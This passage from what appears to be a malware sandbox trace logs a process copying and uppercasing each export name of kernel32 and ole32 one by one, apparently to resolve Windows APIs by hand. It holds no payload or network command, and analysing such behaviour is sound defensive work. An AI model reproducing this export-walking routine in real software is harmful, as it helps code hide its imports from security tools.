returned="BaseIsAppcompatInfrastructureDisabledWorker" [0047.650] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0047.650] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0047.650] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0047.650] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0047.650] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0047.650] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0047.650] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0047.650] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0047.650] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0047.650] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0047.651] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0047.651] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0047.651] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0047.651] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0047.651] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0047.651] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0047.651] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0047.651] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0047.651] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0047.651] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0047.651] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0047.651] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0047.651] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0047.651] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0047.651] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0047.651] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0047.651] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0047.651] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0047.652] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0047.652] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0047.652] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0047.652] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0047.652] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0047.652] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0047.652] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0047.652] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0047.652] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0047.652] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0047.652] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0047.652] lstrlenA (lpString="BEEP") returned 4 [0047.652] lstrcpyA (in: lpString1=0x21fe414, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0047.652] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0047.653] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0047.653] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0047.653] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0047.653] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0047.653] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0047.653] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0047.653] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0047.653] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0047.653] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0047.653] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0047.653] lstrlenA (lpString="CANCELIO") returned 8 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0047.653] lstrlenA (lpString="CANCELIOEX") returned 10 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0047.653] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0047.653] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0047.653] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0047.653] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0047.653] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0047.653] lstrcpyA (in: lpString1=0x21fe414, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0047.654] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0047.654] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0047.654] lstrlenA (lpString="CHECKELEVATION") returned 14 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0047.654] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0047.654] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0047.654] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0047.654] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0047.654] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0047.654] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0047.654] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0047.654] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0047.654] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0047.654] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0047.654] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0047.654] lstrcpyA (in: lpString1=0x21fe414, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0047.654] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0047.654] CloseHandle (hObject=0x214) returned 1 [0047.654] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x4) returned 0x650000 [0047.655] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2200000 [0047.655] lstrlenA (lpString="ole32.dll") returned 9 [0047.655] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77920000 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="BindMoniker" | out: lpString1="BindMoniker") returned="BindMoniker" [0047.655] lstrlenA (lpString="BINDMONIKER") returned 11 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserFree" | out: lpString1="CLIPFORMAT_UserFree") returned="CLIPFORMAT_UserFree" [0047.655] lstrlenA (lpString="CLIPFORMAT_USERFREE") returned 19 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserFreeExt" | out: lpString1="CLIPFORMAT_UserFreeExt") returned="CLIPFORMAT_UserFreeExt" [0047.655] lstrlenA (lpString="CLIPFORMAT_USERFREEEXT") returned 22 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserMarshal" | out: lpString1="CLIPFORMAT_UserMarshal") returned="CLIPFORMAT_UserMarshal" [0047.655] lstrlenA (lpString="CLIPFORMAT_USERMARSHAL") returned 22 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserMarshalExt" | out: lpString1="CLIPFORMAT_UserMarshalExt") returned="CLIPFORMAT_UserMarshalExt" [0047.655] lstrlenA (lpString="CLIPFORMAT_USERMARSHALEXT") returned 25 [0047.655] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserSize" | out: lpString1="CLIPFORMAT_UserSize") returned="CLIPFORMAT_UserSize" [0047.656] lstrlenA (lpString="CLIPFORMAT_USERSIZE") returned 19 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserSizeExt" | out: lpString1="CLIPFORMAT_UserSizeExt") returned="CLIPFORMAT_UserSizeExt" [0047.656] lstrlenA (lpString="CLIPFORMAT_USERSIZEEXT") returned 22 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserUnmarshal" | out: lpString1="CLIPFORMAT_UserUnmarshal") returned="CLIPFORMAT_UserUnmarshal" [0047.656] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHAL") returned 24 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLIPFORMAT_UserUnmarshalExt" | out: lpString1="CLIPFORMAT_UserUnmarshalExt") returned="CLIPFORMAT_UserUnmarshalExt" [0047.656] lstrlenA (lpString="CLIPFORMAT_USERUNMARSHALEXT") returned 27 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLSIDFromOle1Class" | out: lpString1="CLSIDFromOle1Class") returned="CLSIDFromOle1Class" [0047.656] lstrlenA (lpString="CLSIDFROMOLE1CLASS") returned 18 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLSIDFromProgID" | out: lpString1="CLSIDFromProgID") returned="CLSIDFromProgID" [0047.656] lstrlenA (lpString="CLSIDFROMPROGID") returned 15 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLSIDFromProgIDEx" | out: lpString1="CLSIDFromProgIDEx") returned="CLSIDFromProgIDEx" [0047.656] lstrlenA (lpString="CLSIDFROMPROGIDEX") returned 17 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CLSIDFromString" | out: lpString1="CLSIDFromString") returned="CLSIDFromString" [0047.656] lstrlenA (lpString="CLSIDFROMSTRING") returned 15 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer2_Connect" | out: lpString1="CStdAsyncStubBuffer2_Connect") returned="CStdAsyncStubBuffer2_Connect" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_CONNECT") returned 28 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer2_Disconnect" | out: lpString1="CStdAsyncStubBuffer2_Disconnect") returned="CStdAsyncStubBuffer2_Disconnect" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_DISCONNECT") returned 31 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer2_Release" | out: lpString1="CStdAsyncStubBuffer2_Release") returned="CStdAsyncStubBuffer2_Release" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER2_RELEASE") returned 28 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_AddRef" | out: lpString1="CStdAsyncStubBuffer_AddRef") returned="CStdAsyncStubBuffer_AddRef" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_ADDREF") returned 26 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_Connect" | out: lpString1="CStdAsyncStubBuffer_Connect") returned="CStdAsyncStubBuffer_Connect" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_CONNECT") returned 27 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_Disconnect" | out: lpString1="CStdAsyncStubBuffer_Disconnect") returned="CStdAsyncStubBuffer_Disconnect" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_DISCONNECT") returned 30 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_Invoke" | out: lpString1="CStdAsyncStubBuffer_Invoke") returned="CStdAsyncStubBuffer_Invoke" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_INVOKE") returned 26 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_QueryInterface" | out: lpString1="CStdAsyncStubBuffer_QueryInterface") returned="CStdAsyncStubBuffer_QueryInterface" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_QUERYINTERFACE") returned 34 [0047.656] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdAsyncStubBuffer_Release" | out: lpString1="CStdAsyncStubBuffer_Release") returned="CStdAsyncStubBuffer_Release" [0047.656] lstrlenA (lpString="CSTDASYNCSTUBBUFFER_RELEASE") returned 27 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdStubBuffer2_Connect" | out: lpString1="CStdStubBuffer2_Connect") returned="CStdStubBuffer2_Connect" [0047.657] lstrlenA (lpString="CSTDSTUBBUFFER2_CONNECT") returned 23 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdStubBuffer2_CountRefs" | out: lpString1="CStdStubBuffer2_CountRefs") returned="CStdStubBuffer2_CountRefs" [0047.657] lstrlenA (lpString="CSTDSTUBBUFFER2_COUNTREFS") returned 25 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdStubBuffer2_Disconnect" | out: lpString1="CStdStubBuffer2_Disconnect") returned="CStdStubBuffer2_Disconnect" [0047.657] lstrlenA (lpString="CSTDSTUBBUFFER2_DISCONNECT") returned 26 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CStdStubBuffer2_QueryInterface" | out: lpString1="CStdStubBuffer2_QueryInterface") returned="CStdStubBuffer2_QueryInterface" [0047.657] lstrlenA (lpString="CSTDSTUBBUFFER2_QUERYINTERFACE") returned 30 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CheckInitDde" | out: lpString1="CheckInitDde") returned="CheckInitDde" [0047.657] lstrlenA (lpString="CHECKINITDDE") returned 12 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CleanROTForApartment" | out: lpString1="CleanROTForApartment") returned="CleanROTForApartment" [0047.657] lstrlenA (lpString="CLEANROTFORAPARTMENT") returned 20 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="ClearQITableEntry" | out: lpString1="ClearQITableEntry") returned="ClearQITableEntry" [0047.657] lstrlenA (lpString="CLEARQITABLEENTRY") returned 17 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="ClipboardProcessUninitialize" | out: lpString1="ClipboardProcessUninitialize") returned="ClipboardProcessUninitialize" [0047.657] lstrlenA (lpString="CLIPBOARDPROCESSUNINITIALIZE") returned 28 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoAddRefServerProcess" | out: lpString1="CoAddRefServerProcess") returned="CoAddRefServerProcess" [0047.657] lstrlenA (lpString="COADDREFSERVERPROCESS") returned 21 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoAicGetTokenForCOM" | out: lpString1="CoAicGetTokenForCOM") returned="CoAicGetTokenForCOM" [0047.657] lstrlenA (lpString="COAICGETTOKENFORCOM") returned 19 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoAllowSetForegroundWindow" | out: lpString1="CoAllowSetForegroundWindow") returned="CoAllowSetForegroundWindow" [0047.657] lstrlenA (lpString="COALLOWSETFOREGROUNDWINDOW") returned 26 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoAllowUnmarshalerCLSID" | out: lpString1="CoAllowUnmarshalerCLSID") returned="CoAllowUnmarshalerCLSID" [0047.657] lstrlenA (lpString="COALLOWUNMARSHALERCLSID") returned 23 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoBuildVersion" | out: lpString1="CoBuildVersion") returned="CoBuildVersion" [0047.657] lstrlenA (lpString="COBUILDVERSION") returned 14 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCancelCall" | out: lpString1="CoCancelCall") returned="CoCancelCall" [0047.657] lstrlenA (lpString="COCANCELCALL") returned 12 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCheckElevationEnabled" | out: lpString1="CoCheckElevationEnabled") returned="CoCheckElevationEnabled" [0047.657] lstrlenA (lpString="COCHECKELEVATIONENABLED") returned 23 [0047.657] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCopyProxy" | out: lpString1="CoCopyProxy") returned="CoCopyProxy" [0047.657] lstrlenA (lpString="COCOPYPROXY") returned 11 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateFreeThreadedMarshaler" | out: lpString1="CoCreateFreeThreadedMarshaler") returned="CoCreateFreeThreadedMarshaler" [0047.658] lstrlenA (lpString="COCREATEFREETHREADEDMARSHALER") returned 29 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateGuid" | out: lpString1="CoCreateGuid") returned="CoCreateGuid" [0047.658] lstrlenA (lpString="COCREATEGUID") returned 12 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateInstance" | out: lpString1="CoCreateInstance") returned="CoCreateInstance" [0047.658] lstrlenA (lpString="COCREATEINSTANCE") returned 16 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateInstanceEx" | out: lpString1="CoCreateInstanceEx") returned="CoCreateInstanceEx" [0047.658] lstrlenA (lpString="COCREATEINSTANCEEX") returned 18 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateInstanceFromApp" | out: lpString1="CoCreateInstanceFromApp") returned="CoCreateInstanceFromApp" [0047.658] lstrlenA (lpString="COCREATEINSTANCEFROMAPP") returned 23 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoCreateObjectInContext" | out: lpString1="CoCreateObjectInContext") returned="CoCreateObjectInContext" [0047.658] lstrlenA (lpString="COCREATEOBJECTINCONTEXT") returned 23 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDeactivateObject" | out: lpString1="CoDeactivateObject") returned="CoDeactivateObject" [0047.658] lstrlenA (lpString="CODEACTIVATEOBJECT") returned 18 [0047.658] lstrcpyA (in: lpString1=0x21fe418, lpString2="CoDecodeProxy" | out: lpString1="CoDecodeProxy") returned="CoDecodeProxy" [0047.658] lstrlenA (lpString="CODECODEPROXY") returned 13 [0047.658] lstrcpyA (in: lpString1=0x21fe418, 